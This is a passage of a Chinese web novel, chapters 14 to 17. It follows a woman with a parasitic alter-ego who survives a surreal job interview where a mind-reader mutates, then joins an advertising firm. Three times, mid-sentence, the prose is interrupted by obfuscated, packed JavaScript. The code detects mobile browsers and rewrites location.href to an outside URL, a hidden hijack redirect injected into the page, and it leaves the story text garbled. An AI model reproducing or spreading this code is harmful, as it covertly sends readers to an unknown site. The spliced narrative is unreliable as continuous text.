异能者自觉临场的反应能力不佳,太紧张会头脑空白。通宵达旦拟出面试时可能会遇到的问题,并整理出答案,只为一举拿下面试的岗位。 寄生虫深感疑惑,区区面试真的能让异能者紧张吗? 它堂堂4级污染源的出现,都没能令异能者情绪出现丝毫起伏。哪怕世界在眼前毁灭,她都只会打着哈欠说“又做梦了”吧。 “那可不!啊啊啊啊我的第一次面试,可千万不能搞砸。” 寄生虫更加疑惑:“据我所知,没有人类会真心喜欢上班。” 岑尤尤拿出唇膏抹上,让自己的气色更佳,随口说道:“那是因为不喜欢上班和没有班上是两回事,为了仅能维持最低生活标准的工资被狠狠剥削是普通人存在的终极意义。” 寄生虫:“……” 恕我直言,普通人类活得真造孽。 14.异化 7路公交车停靠在产业园区站,岑尤尤从后门下车,对照手机上的地址,进入8栋。 正是早高峰的时间,上班族们如勤勤恳恳的蚂蚁,排队走进电梯里。岑尤尤乘坐低楼层的电梯来到9楼,早有面试者等待在走廊里。 现在是八点四十五分,她抱着蓝色的文件夹坐下来。文件夹里有她特地打印出的简历,还有获奖证书、各种乱七八糟的资格证。不管对面试的岗位有没有加分的作用,她都带来了。 九点整,一位胸前挂着工作牌的大美女走出来说:“我是HR庙易香,欢迎各位来我公司面试。等会叫到名字的请进来一下。第一位,冯云……” 岑尤尤前面有三个人,后面还有四个人。她在其他应聘者的闲聊中得知,大家应聘的是同一个岗位,心中不由泛起一丝丝紧张。 十几分钟后,轮到她了。 每个人展示自己的平均时间也就几分钟,她昂首阔步,拿出绝佳的精气神走进去,力图给面试官留下绝佳的第一印象。不过,一进去看到里面坐着三个人,顿时气焰一矮。 一个小小的策划岗位,竟然需要三位面试官定夺吗? 岑尤尤坐下来,三位面试官里有一位年纪颇大,面前的桌牌上写着“创意总监”。他应该是在场职位最高的人,岑尤尤连忙目视对方,露齿一笑。 这时,坐在中间的面试官出声道:“请你先做个自我介绍吧。” 岑尤尤立刻把目光转向她,她的职位是“小组组长”。一张小嫩得能掐出水来,穿着职业套装犹如小孩假扮大人,岑尤尤有种误入家家酒现场的既视感。 这让岑尤尤不禁怀疑起她的身份,她一定是公司高层的亲戚。毕竟正经公司使用童工犯法,但小孩每天来自家店里帮忙属于常规操作。 小组组长眸中闪过一抹银色光芒,接着对她笑了一下。 岑尤尤赶紧把脑子里乱七八糟的联想揉成一团丢掉,专心做起自我介绍。接下来,由小组组长掐着甜美的嗓音,问出全部来自她整理的“面试模拟100问”,令她直呼运气太好,整个过程出奇的顺利。 等岑尤尤回答完“薪资要求”的问题,却见小组组长对坐在右手边的HR庙易香摇摇头。她心中咯噔一声,难道自己报价太高? 没想到,庙易香转过头,笑着对她说:“恭喜你,岑尤尤小姐。你被我公司录取了。” 当……当场录取吗? 岑尤尤惊讶道:“可是后面还有四个面试者,不需要见见他们吗?” 庙易香说:“不需要。” 岑尤尤更懵:“他们来都来了……不叫进来说说话,对比一下吗?” 庙易香神情微微一僵,然后露出“你很上道”的赞许目光,说道:“才刚刚加入我们温暖的大家庭,就在为公司的利益考虑了。我们公司需要的就是你这样的人才,我相信外面等待的面试者绝不会比你更优秀。” 说完,她轻轻推搡小组长一把。 小组组长眼睛往上一翻,从座位上站起来,抓起岑尤尤的左手握住,面无表情道:“欢迎加入我们公司……” 两人挨得很近,岑尤尤听到她喃喃自语。 “笑死,就算对视无法突破心理防线,一定要想办法握手,就不能缓一缓,找到一个让大家不尴尬的借口吗?” 什么意思? 岑尤尤没有听懂。 小组组长面露疑惑之色,表情越发怪异,说话的声音越来越小:“一定是哪里搞错了。笑死,她怎么会是4级的污染源……” 岑尤尤的脑海里响起小左的声音,它尖叫道:“她是‘读心者’!”随即,五指一起用力,挣脱握住自己的手。对岑尤尤说:“读心是窥探系的异能分类之一,她的异能等级不高,肯定在4级以下,才需要一边深度读心一边描述读到的内容,以便暗示自己‘窥探到的记忆属于他人’,避免被读到的记忆侵蚀导致精神世界遭到冲击……” 岑尤尤抿唇,她进来之前再三叮嘱小左无论发生什么事情都不要说话,更不准乱来,没想到它还是闹幺蛾子。等面试结束,她得好好教导一下对方“规矩”两个字该怎么写。 此刻,岑尤尤和比自己矮一个头的小组组长面对面站着,心中颇有些尴尬。她搓搓自己的左手,说道:“不好意思,我左手抽筋了。” 小组组长说:“没关系,我们能换一只手,再握一下吗?” “行……行吧?” 岑尤尤主动伸出右手,哪晓得小组组长刚握住自己的右手,还没有握实,身躯就如同从内部出现故障一般,出现崩裂的征兆。从头顶开始,细密如蜘蛛网的裂痕飞速蔓延,直到没入衣服内部为止。皮肤撕裂,肌肉崩断,骨骼破碎,鲜血还没有喷洒出来,伤口就已经先一步止血,这一幕显得更加诡异。 “我看到你的世界……” 小组组长剧烈地颤抖起来,神情惊恐,仿佛看到难以理解的、无法接受的、震撼心灵的一幕,嘶吼道:“世界是假的……一切都是假的。我是假的……我不是真实存在的……” 她大哭起来,眼睛里没有流出泪水,而是流出一行行鲜血。 她的声音变得沙哑,不复之前的甜蜜,如同坏掉的唢呐,破音的笛子,歇斯底里地大喊:“一切都会毁灭……” 岑尤尤透过小组组长面部最大的一条缝隙,看到冲过来的人事庙易香。 庙易香喊道:“一级异化警报,放下结界。” 岑尤尤主动握紧小组组长的手,扶住她肩膀,问道:“你没事吧?” 原本一下刻就会碎成肉块,崩落一地之人,眼珠子骤然放大到极致后,瞳孔里竟然慢慢映照出属于岑尤尤的面容,她低下头,呢喃道:“一切都会毁灭,而唯一永存。” 再抬起头的时候,她的身上出现翻天覆地的变化。瞳孔被淹没在厚重的银色光芒之中,脸上浮现狂热的笑容。双手捧起岑尤尤的右手,踮起双脚努力向上凑拢,带着献祭一般的虔诚,用甜美的声音说:“尤尤尤尤尤尤……” 暗红的一条条裂缝里长出细细的丝线,拉扯着分崩离析的肉块重新聚拢在一起,如同强力胶水一般的效果令小组组长再次变成一个完整的人,可是有些事情已经发生,就难以还原。她的皮肤表面留下一条条骇人的伤疤,让长相可爱的她犹如一只拟真的破布娃娃,能令任何一个审美正常的人类打心底里感到害怕。 岑尤尤并不害怕,她自己是个病人,很容易就看出小组组长只是生病了。她偏头问庙易香说:“这里有她的药吗?” 庙易香还没说话,小组组长已经偏向岑尤尤的方向,霸道地再一次占据她的视野,说道:“尤尤,尽管带我去你的世界吧。” 岑尤尤收回自己的手,说道:“组长,我是来应聘的,准备加入你们。” “我叫万楠,那我做你的下属吧。” 岑尤尤连忙看向创意总监,辩白道:“我完全没有取代您的野心,我是来面试普通策划岗位的。” 创意总监:“……” 庙易香见岑尤尤已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472677|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和万澜分开,看准时机将她连拖带拽请出面试的房间,口中道:“岑小姐,你也看到了。我们这里有一点特殊情况,急需处理。你要不先回去,我们电话联系。” 说着,门已经当着岑尤尤的面关上了。 里面传来非常有破坏性的声音,夹杂着木仓鸣声。岑尤尤有点担心,但剩下的四名面试者一窝蜂围过来,都在问她“怎么进去这么久”、“什么时候轮到下一个”、“还要继续等吗”,他们好像并没有听到反常的声音,岑尤尤心中“嘶”一声,难道我幻听了? 很快,一个公司的员工匆匆走过来,告诉岑尤尤和另外四人可以离开了。 岑尤尤乘坐电梯下楼,正好南欣打来电话,询问她现在在哪里。 “面试刚结束,准备回家。” “你去面试啦!” 南欣问:“结果如何,你被聘用没有?” “我战胜七个竞争者荣获第一,但到底有没有班上还挺玄的……” …… 面试房间里,万澜跷着脚坐下,小脸靠近椅背,感受着岑尤尤留下的体温。下一瞬,她的眉心被子弹洞穿,面带扭曲的痴迷之色,头向一边歪倒。 “砰砰砰砰砰——” 无数发子弹把她几乎打成筛子,万澜像一条死鱼一样一动不动,但眸中的光彩都在慢慢消失。 终于,她身上已无可以继续承受攻击的完好地方。 廖远扛着木仓,停止攻击,诧异道:“这么容易吗?” 庙易香神情同样没有放松,“可能是还没彻底异化的缘故……读心者毕竟没有战斗能力,不像武者一样身体被强化过。” 话音未落,万澜从椅子上跳起来,咧唇一笑:“吓!” 两人都退后一步,万澜用手指抠出脑袋里的子弹,指向庙易香说“一个喜欢顶头上司老baby的可怜虫”,又指向廖远“还有一个至今都尿床的小屁孩”,她哼一声说:“笑死,凭你们就能杀死我。” 说完,她看向头顶,天花板上已经爬满透明的丝线。 “要是凭全家死光光的韩队长,尚有两分希望。可惜,不会陪你们发癫……我有更重要的事情得做。” 她抱起椅子,撞向刚刚承受强力的弹药时被波及的玻璃幕墙。玻璃碎裂,她从9楼一跃而下,垂直坠落。 “砰——” 路过的人都呆滞地看着地上的七孔流血,浑身碎裂的人,迟疑两秒才有人爆发出第一声尖叫,接着是此起彼伏的尖叫声,路人喊着:“有人跳楼了……” 有人躲避不及,有人凑上来录像。 这个跳楼的人太奇怪了,她的双手是高举着的,紧紧抓着一把普普通通的椅子。 这样的椅子在写字楼里随处可见。 录像的年轻人很快发现,死人在蠕动,身上的伤口在快速复原。他怀疑是自己眼睛出问题了,可是对方的嘴唇在蠕动。 难道还没死吗…… 他下意识凑过去,死人果然在说话。 “尤尤尤尤尤尤……” “尤尤尤尤尤尤尤尤……” 真好听的声音啊…… “尤尤尤尤……” 声音越来越响亮,慢慢混入男人的声音、女人的声音,老人的声音。 年轻人触碰自己的嘴唇,发现嘴唇在不断翻动。 难怪其中有一道声音很耳熟,原来是自己的声音啊。 “尤尤尤尤尤尤……” 这真是世界上最好听的名字。 15.上班 “你中午有地儿吃饭吗?不如到我家来,咱俩吃速冻水饺。” 南欣在电话的那一头盛情邀请,岑尤尤却被前方里三层外三层围着的人群吸引了目光,他们都在叫嚷着“油油油油油”,声音此起彼伏,杂乱刺耳。 “难道是食用油打折促销吗?不过搁园区卖食用油应该销量不佳吧……” 她觉得大部分上班族应该都没时间自己做饭,一桶食用油价格便宜几块十来块的,也不会给白领们带来多大的购物冲动。除非白送,否则拎几桶油回到工位上,不是什么好的选择,只会暴露上班时间偷溜到楼下摸鱼的事实。 南欣问:“你说什么?” 岑尤尤说:“园区楼下应该是加油站在搞折扣活动……” 小左忍不住插/嘴道:“我真佩服你的想象力。那分明是……” “南欣,我先挂了。” 岑尤尤打断小左的话,说道:“我看到一个招聘广告,来都来了,不如上楼问问。午饭我自己解决,有空再来找你玩。” 她知道南欣最近忙着复习,不想去打扰对方。毕业季谁都不容易。 挂断电话,岑尤尤走到公示牌面前撕下一张白底红字的招聘海报,画面设计得很有感觉,最重要的是招聘的人数够多,仅文案策划一职就需要五个人,对应届生又比较友好,不要求有工作经验。 公司地址就在园区的1栋,和她刚刚才上去过的8栋在对角线上。 岑尤尤绕过人群,走向1栋。她并不知道,仅在她离开之后不久,乱七八糟的声音就逐渐变得越来越整齐,短短几分钟内,几十道声音便完美融合在一起,演变为能摧毁人类心智的旋律。 无数路过的人驻足聆听,然后再也无法挪动脚步。一个个面带狂热的笑容,吐出诚挚的赞美:“尤尤尤尤……” “尤尤尤尤尤尤……” 韩序冲下一楼,近百人的合唱近距离炸响,令他脑袋“嗡”一声响。连忙伸手在耳边打出一个响指,细密的透明丝线挤进他的双耳之中,世界骤然一静。 韩序下令让突击队配备静音设备疏散人群,广场上没有风,这对他来说很有利,无数细丝从他指间飘荡而出。其中一根细丝的速度最快,已经飘到一名狂热的路人身后,噗一声从脊柱连接颅骨处钻进去,接驳进脑神经元中。 这个人脸上的狂热骤然消失,头颅像是失去支撑的力量一样垂落,神情只剩下纯粹的空白。 一个接一个的,狂热的人群在短短数秒内变得静寂无声。周围的行人已经被疏散,没有新的狂热者加入进来,事态得到控制。 韩序走进人群的最中央,地上没有血迹,更不见万澜的踪影。只剩下受到撞击的红色地砖,孤零零地破碎着。 他挥挥手,被控制的人类犹如一个个提线木偶,排成队登上从应急车道驶到8栋楼下的大巴车里,他们会被送进特殊的医院进行治疗,污染程度不深还是有望康复的。 另一边,对一切毫无所觉的岑尤尤乘坐1幢的高层电梯来到22楼。她刚才在楼下的时候通过楼层引导,知道自己即将去应聘的公司一共占据三层楼。 论公司的体量肯定比刚才的面试过的那一家要大,而且公司在网络上能查到信息,在海市业界是数一数二的水平。 她抱着蓝色的文件夹,把海报放在前台的桌面上。 前台小姐正在接电话,她一个人根本忙不过来,几台电话逐一响起。 岑尤尤站在前台好几分钟,前台小姐才终于抬起头来,看到她手里的海报,呆愣一秒才说:“过来面试的吗?” 岑尤尤连忙露齿一笑:“是的,我来应聘文案策划。” 前台小姐的表情一言难尽,摊开手说:“海报给我吧。这又不是皇榜,不用揭下来。” 岑尤尤:“……” 她双颊一红,露出尴尬的神情。 前台小姐抱怨道:“我快忙翻了,一会儿还得下去把它贴回去。” 岑尤尤连忙说对不起,前台小姐摆摆手:“算了,没关系。我去人力资源部和创意部喊人,你在那边的沙发上坐一会。你手上拿的是简历吗?” 岑尤尤点头。 前台小姐说:“给我吧。我帮你带进去。” 岑尤尤连忙打开文件夹,取出一份简历。同样的简历她一共打印了三份,为的就是以备不时之需。 不一会儿,前台小姐带着一名年轻男人走出来。 他穿着一件条纹圆领衫,头发略显蓬乱,眼底青黑,面色苍白。手上端着一杯咖啡,带着满身班味在岑尤尤的对面坐下来,一副睡眠不足的样子,打着哈欠说:“我是公司人事部的,你青云大学毕业为什么不留在当地,反而选择回到海市?青云可是大城市,海市的GDP只有人家的零头。” 这个问题岑尤尤早就打过腹稿,她说:“海市是我的家乡,我更喜欢这里的气候,而且我是独女,有照顾父母的责任。” 人事一口气灌下半杯咖啡,又问:“你最快什么时候能来上班?” 岑尤尤说:“明天?” 人事闻言,眼眸一亮,犹如韩国留子在食堂里看到肉菜,语气都变得充满期待:“很好、很好,太好了。我们来聊一下薪资待遇吧。对了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475702|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我叫许多年……” 岑尤尤连忙拿出情商,夸道:“好名字。” 许多年一口咖啡差点喷出来,他忍得眼睛冒泪花,艰难咽下咖啡,说道:“不会夸人你就沉默吧,不用硬夸。” 岑尤尤:“……好哦。” 许多年叹息一声说:“有些父母嗨起来是不会管孩子死活的。谁让我刚生下来的时候没及时提出反对意见呢。” 岑尤尤试探性安慰道:“节哀?” 许多年:“谢谢?” 公司的职级划分明确,许多年快速把薪资待遇讲述一遍,他一直观察着岑尤尤的表情,看出对方是满意的。 应届生没有被校招捞走反而留到现在的,一般都不挑剔工作。 他从早上开始就昏昏沉沉的脑袋渐渐变得清明,乘胜追击道:“岑尤尤是吧……你看,你今天既然都来了。其实不必急着回去,要不留下来熟悉一下公司?” 岑尤尤并不傻,她问:“咱们公司是不是很缺人?” “实不相瞒,最近新型流感肆虐,公司很多人都生病了。” 这也是公司急着招人的原因,大批牛马倒下,本来就饱和的工作量转移到卷生卷死的同事身上,办公室里怨声载道。 许多年放下咖啡杯,说道:“今天算你全勤,计薪。试用期一个月,合同马上可以签。怎么样?” 这家公司和上一家相比不要太接地气,上家公司给岑尤尤的感觉就像是星级酒店里的西餐厅,职工们都经历过礼仪培训。她走进去就开始露怯,被告知“应聘成功”却毫无真实感,来到“福盈广告”才感受到脚踏实地是什么滋味。 若非她只是一个普通人,没有算计的价值,她都以为上一家公司的面试真如小左所说,是针对她的一个局了。 岑尤尤问:“那我今天做些什么?” 她可什么都不会。 许多年指向前台小姐,说道:“你先跟着张小莹,熟悉一下公司。等你的领导抽出空闲,再来认领你。” 岑尤尤点头应下来,她又不傻,知道自己就算立刻去创意部,其实做的事情和前台也没有太大差别。 许多年聘用到一只新牛马,安排好棚位就端着咖啡杯,精神奕奕回到属于自己的棚位,旁边棚的牛马同事讶异道:“我还以为你小子也要步众将后尘,战死沙场。怎么早上跟蔫黄的小白菜一样,出去一趟就战胜流感病毒了?” 许多年把自己丢进椅子里,说道:“咖啡续我狗命。” “什么咖啡这么有效?” “茶水间的速溶咖啡。” “切——” 16.工作 “老板,多要香菜葱花,酸辣不要糖。” 青山小区门口的夜市里黑压压一片,食客如蚂蚁一般在各个摊位里穿行。 岑尤尤点好炸串,便落座在一张支起的小桌子旁。桌上上一位食客留下来的残羹冷炙还没收拾,夫妻档炸串店的老板娘赶紧走过来,手脚麻利的清理桌子。 她是认识岑尤尤的,就算夜市里客人足够多,但若有一位小客人在店里吃串的时间长达十年,面孔怎么也熟悉了。 百忙之中,老板娘还抓紧时间和岑尤尤闲聊:“上次听你说在找工作,现在怎么样啦?” 岑尤尤说:“我已经开始上班了。” “挺好,挺好,”老板娘笑起来,从堆在墙角的椰子里找出一个甜的,砍开,插上吸管放在岑尤尤的桌上,说道:“阿姨请你的,祝贺你找到工作。好好干,早点升职加薪当老板。” 岑尤尤来不及道谢,老板娘已经被唤走了。 她捏着吸管,椰子水灌进口中,甜的咧。 “区区一个打杂小妹的工作,不知道有什么可祝贺的。” 寄生虫阴阳怪气的说话,却没有得到任何的回应。 自从上午的第一场面试之后,异能者就不再和它说话。一直都当它是空气,整个下午都在前台张小莹的支使下做事,略有空闲就向对方打听公司的情况。 这个B班到底有什么好上的?缺钱难道不可以抢/银/行吗? 难道……这家公司有什么特殊之处,寄生虫不太相信一个高等级的异能者会坚持过平凡而无趣的人生。现在的它看到的一切,绝对是异能者的某种伪装。 她到底有什么目的呢? 今天的一场闹剧让寄生虫明白,异能者比它以为的还要深不可测,或许别的污染源见势不对已经屈服,但它是“操控系”。从来只做主人,不做别人手里的提线木偶。 “其实我可以帮你的。” 寄生虫的眼珠子滴溜溜乱转,它很希望自己放大情绪的能力没有失效,那样就不用如此费劲的劝说:“我有眼不识泰山,活该倒霉被您关押,但您多次让我证明自己价值,可见我对您还是有用的。” 炸串端上来,岑尤尤先前在隔壁摊位上叫过一份炒饭,和炸串前后脚送到桌子上。她就着炸串吃炒饭,炒饭粒粒分明,里面混合着一些自选的蔬菜和一颗鸡蛋,大火烹炒,锅气十足。 她吃得头都不抬,用新鲜的椰子支撑手机刷剧。 寄生虫继续说:“我愿意把你当作主人,听从你的一切吩咐。” 岑尤尤按下暂停键,小左说出来的话和脑子里真正的想法完全相反。它可能觉得自己能够藏起思想,但根本不晓得岑尤尤曾分裂过多少个副人格。 他们有些邪恶、有些疯狂、有些完全无法沟通、有些满口谎言…… 自己或许只是一个涉世不深的大学生,不知道成年人的世界有多么险恶,但病久成医,副人格在她这里每一处都是透明的,小左心里真正打的主意很简单。 “先虚情假意,敷衍应付,等获得异能者的信任,便能和她进行分割找到新宿主。再找机会在异常管理局面前暴露异能者饲养污染源之事,等异能者成为众矢之的,它趁乱逃走。” 小左要是早些年被分裂出来,没准她会有耐心纠正对方的世界观。 这个恶毒的计谋从根本上就无法施行——超自然事件是不存在的,它还是没搞清楚,它只是自己分裂出的一个人格。 现在嘛,岑尤尤说:“你太吵了。从现在开始不准说话……” 左手的口器张开,却吐不出一个字。它在心中疯狂尖叫,但异能者神色如常,它立刻意识到自己的心声对方听不到了。 原本一直期望自己能够屏蔽对方窥探的它,此刻却一点都高兴不起来。 寄生虫连忙站起来,对着异能者目露哀求。 岑尤尤用筷子头轻敲左手中指,口器往后一缩,她继续说:“……也不准动。” 寄生虫立刻发现,自己无法控制仅有的一只左手了。它和异能者身体的联系被彻底切断,如同重回虫茧之中。 好霸道的言灵,寄生虫彻底沉寂下来。 它甚至不敢在此刻和异能者目光相对,以免再一次惹怒对方。若是连“看”的权利也被剥夺,它将沉寂进纯粹的黑暗中,连时间的流逝都感觉不到。早已癫狂的污染源不害怕疯掉,但害怕被忘记,永远留在黑暗里。 岑尤尤已经听不到寄生虫的心声,她继续播放下饭剧。吃完晚饭,回到家中。 郝伊人和岑峰还没回家,水果店一般要八点多钟才会关门。 家里经过物业两天的维修,破损的地方已经恢复如初。只是新漆的味道有些刺鼻,窗户全部都开着,岑尤尤一踏进家门就闻到气味。 她打开门,让空气能够对流。然后,窝进沙发里,没有打开电视,而是继续手机追剧。 不一会儿,郝伊人和岑峰进门。 岑峰手里拎着一块蛋糕,他把蛋糕放在桌上。 郝伊人说:“回来的时候路过蛋糕店,买了你最喜欢的芝士蛋糕。” 岑尤尤说:“我晚上吃的炸串,现在吃不下了。” 郝伊人换下高跟鞋,说道:“那就放进冰箱里,明天早上再吃。新公司怎么样?” “还行,公司有食堂。明天职工信息就能录入,一日三餐可以在公司解决。” “有食堂,还不错……” …… 一夜无梦,岑尤尤早起打开冰箱,拎着蛋糕冲上7路公交车。她刷公交卡的时候,目光掠过司机。 司机脑袋上扣着一顶鸭舌帽,还戴着能把脖颈遮住的防晒口罩。看不清面貌,但依照身形能够判断是一位年轻的女士,她觉得对方有点眼熟,但没有细想。 可能是以前坐7路车的时候遇到过吧。 早高峰的时间段,竟然还有座位。第一排空着一个单人的位置,就在司机座位的背后,她坐下来,拿出耳机,戴上一次性手套吃掉芝士蛋糕。 这一班车比岑尤尤预料得快十多分钟到达园区,等她下车才反应过来不对劲。怎么一路上公交车一直没有报站,从家里到园区中间有好几个站点,但公交车似乎并未停靠。 这样的话,岂不是满车的乘客,无一人下车。 不过,她全程佩戴耳机,记忆也可能有差错。 “岑尤尤……” 忽然响起的声音唤醒正在沉思的岑尤尤,她抬头一看,发现是同事。人事部的许多年,对方看起来精神不佳,出声询问道:“怎么不进去?” 岑尤尤连忙和他打招呼:“许哥,早上好。” 两人一起走进电梯,许多年说:“你和我一起到23楼,你们方总监和主管昨天出的院,今天都会到岗。我带你去认一认人……” 许多年早上起来觉得头重脚轻,走路像是踩在棉花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483767|154275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖上,浑身无力软绵绵的。或许是园区的空气还不错,从公交车站到1幢的短短一段路而已,竟是褪去浑身的不适,变得精神抖擞起来。 岑尤尤心里叫苦,她早早来到公司,本意是想去食堂品尝一下早餐。 两人一踏进23层,许多年就遇到熟悉的同事。几步上前和对方说些什么,交谈几句又回过头指向岑尤尤。 距离比较远,岑尤尤一个字都没听清楚。 两个人没有交流太久,许多年朝着岑尤尤招手,让她过去。然后向她介绍道:“这是1组的张主管……” 张主管打断许多年,对岑尤尤说道:“正好方总监要见新人,你跟我来。” 岑尤尤跟着脾气一看就有些急躁的张主管推开总监办公室的门,里面已经有四个年轻人站成一排,岑尤尤特别乖觉,什么都没说,小跑过去站到末尾。 抬头看去,只见红木办公桌后面坐着一名四十多岁的男性,形象颇为不错,散发着事业有成的魅力。可惜心情似乎不大妙,神情严肃,哪怕是第一次见到他的岑尤尤都能看出他颇为烦躁,身体似乎也有些不适。 这位想必就是方总监了。 一出院就回公司上班,好拼。 昨天,前台张小莹还同岑尤尤夸赞过公司的待遇好,看来是花钱买命。 岑尤尤不好一直盯着领导看,目光落在桌上。她发现名片盒的旁边站立着一个人偶,虽然是Q版,但给人一种非常真实的感觉。 她略一思索就知道怎么回事了。一般的玩偶会利用头身不协调的结构,来突出可爱的特质,可这个玩偶似乎是依照模特的身形,等比例缩小制成。 岑尤尤看着她的时候,甚至产生一种也被它注视着的错觉。 “你们是在我住院期间被招进来的,个别甚至只和人事面谈过,创意部对新同事的情况一无所知……” 领导忽然开口,岑尤尤听在耳中,觉得对方好像在点自己,似乎还带着些不满的情绪。 她连忙抬起头,发现方总监的目光正好落在自己身上。 四目相对,岑尤尤犹豫要不要笑一下缓解尴尬,却见方总监两颗眼珠子在瞳孔里一直颤动,视线像胶水一样沾在岑尤尤的身上,说到一半的话也停下来,办公室里霎时一静。 岑尤尤旁边站着的四人转过头看向她,一串整整齐齐的糖葫芦变得歪七扭八。 方总监回过神来,说道:“岑尤尤是吧?你和我女儿的年纪差不多大……” 他说着竟露出笑容,面带慈爱之色。 “入职手续办完没有?” 岑尤尤回答:“都办好了。” “公司在附近租有员工宿舍,你需要的话可以申请。” “我是本地人,不需要住宿舍。” “食堂用餐需要刷脸,你的脸谱信息采集好没有?” “昨天已经采集了。” “你是应届毕业生,没参加过工作,有不习惯的地方尽管同我说……” 一个男同事举起手来,说道:“总监,我也是应届毕业生。” 站在他身旁的女同事也不愿继续当背景板,说道:“总监,我虽然不是应届毕业生,但今年23岁,应该和你女儿也是一般大……” 方总监回过神来,轻咳一声说:“行了,你们都出去吧。” 岑尤尤率先拉开门,带头往外走,身后传来领导鼓励的打气声——“小岑,好好干。” 17.新人 岑尤尤走出总监办公室,刚才在办公室里第一个开口的男同事就凑过来,挤眉弄眼询问她。 “你和总监是不是亲戚啊?” “不是。” 岑尤尤摇头。 男同事小声说:“这有什么不能承认的,你悄悄告诉我!这事你知我知,我绝不告诉第二个人。” 岑尤尤停下脚步,淡淡道:“你既然不相信我的回答,为什么还要问我。” 男同事一噎,但丝毫不觉得尴尬。他干笑一声,自我介绍道:“我叫秦家鸣,比你早三天到岗。那三个和我们不在同一个组,最早到岗的已经在这儿工作一个多星期了……” 岑尤尤问:“我在哪个组?” “1组,主管姓张。” 岑尤尤刚才已经见过张主管了,她问:“什么时候分的组?” “我来的那一天分的,”秦家鸣心想,他分明听说主管和总监想要招一个有工作经验的文案策划,可以立刻上手帮得上忙。结果又来一个职场小白,必须调教一阵才能当牛马使用,但看总监的态度,他又觉得自己什么都明白了。 关系户,哪里都有。 他大学寝室里还有一孙子是学校教授的儿子,高考以低于录取分数线60分的成绩被录取。问就是教职工福利,人家在学校里获得的优待是他不论怎么努力都拍马难追的。 至于总监意有所指的话点的是谁,他不知道。 总归不是他,他面试的时候张主管抽空下楼看过他一眼。 可能是另外三位吧。 岑尤尤问:“总监住院多久了?” 秦家鸣心中腹诽,你应该知道得比我更清楚才对。可他嘴上却老老实实答道:“两个星期。最开始咽喉肿痛,然后鼻塞、咳嗽,病情进展特别快,刚有症状的当天就高烧至39度送进医院。” “然后呢?” “还能怎样,肺炎呗。其他人的症状也差不多,身体好的不会被传染,比如我。身体差的一旦被传染绝对要进医院报到,区别只是住院的时间长或者短而已。” “现在是夏天,不是流感的高发季节。” 岑尤尤觉得奇怪:“而且我没听说海市流感肆虐的消息。” 两人走进创意部1组的大办公室,格子间里仅有稀稀拉拉一两个人,无一例外都戴着口罩。 秦家鸣指着靠窗的两个小格子对岑尤尤说:“这两个位置都是空的,你自己选吧。”他压低声音,左顾右盼见没什么人注意他,才继续说:“因为流感不是本地的,感染范围有限。大家都在传,这流感是总经理去外地开会带回来……不然怎么最先生病的就是他呢?然后公司领导们一个个倒下,最后才轮到普通员工。” 岑尤尤发现,秦家鸣虽然来公司还没几天,但对公司上上下下的事情如数家珍。他还想和岑尤尤说一说另外三位新同事的八卦,她开口谢绝。 用不着太了解同事,她是来上班的又不是来交朋友的。 岑尤尤问道:“我该做些什么?” “那要看主管让你跟着谁。” 秦家鸣话音刚落,张主管从办公室里走出来。她的办公室没有独立在外,而是在1组的大办公室里隔出的一角。看到岑尤尤两人,她主动开口问:“这么快就回来了?” 这个问题其实并不需要两人回答,张主管面露思索之色,自言自语道:“岑尤尤……你跟着谁呢?” 这时,一个身材高挑,衣着时髦的女人冲进办公室。 张主管指着她,对岑尤尤说:“这是我们组资历最深的策划芸姐,你暂时跟着她做事。” “阿芸,”张主管略提高声音道:“这是新人,岑尤尤,名牌大学毕业。你不是一直抱怨忙不过来吗?现在给你配个助手,减轻你的工作量。” 芸姐和张主管的岁数相当,但论容貌、气质,十个张主管都比不上一个芸姐。张主管说话,芸姐根本没搭理,她来到自己的工位前坐下,名牌单肩包摔在桌面上发出刺耳的响声。 张主管什么都没说,皱着眉走进办公室里,反手关上门。 秦家鸣小声说:“你最好赶紧去找总监替你换一个师父,芸姐全名包朝芸,人称暴躁芸。仗着自己是公司的开国元老,谁都敢骂。张主管根本压不住她,而且她最近在和男朋友闹分手。女人嘛,恋爱脑,情情爱爱上头跟经期不调似的一点就爆……” 岑尤尤打断他的话,“你看看我。” “什么?” 秦家鸣一脸迷惑。 岑尤尤问:“你觉得我是男是女?” “当然是女的……” “那你当着我的面污蔑女性合适吗?” 秦家鸣:“……” 岑尤尤知道男的一般在此时会说什么,一句“玩笑而已不要上纲上线”好像就能立于不败之地,她微微一笑,出口成章:“男人嘛,普信。身高没有一米九、钱包没有我脸大,癞蛤蟆似的还敢满街乱蹿,对仙女评头论足呱呱嚎叫……” “好了好了。姐,我错了。” 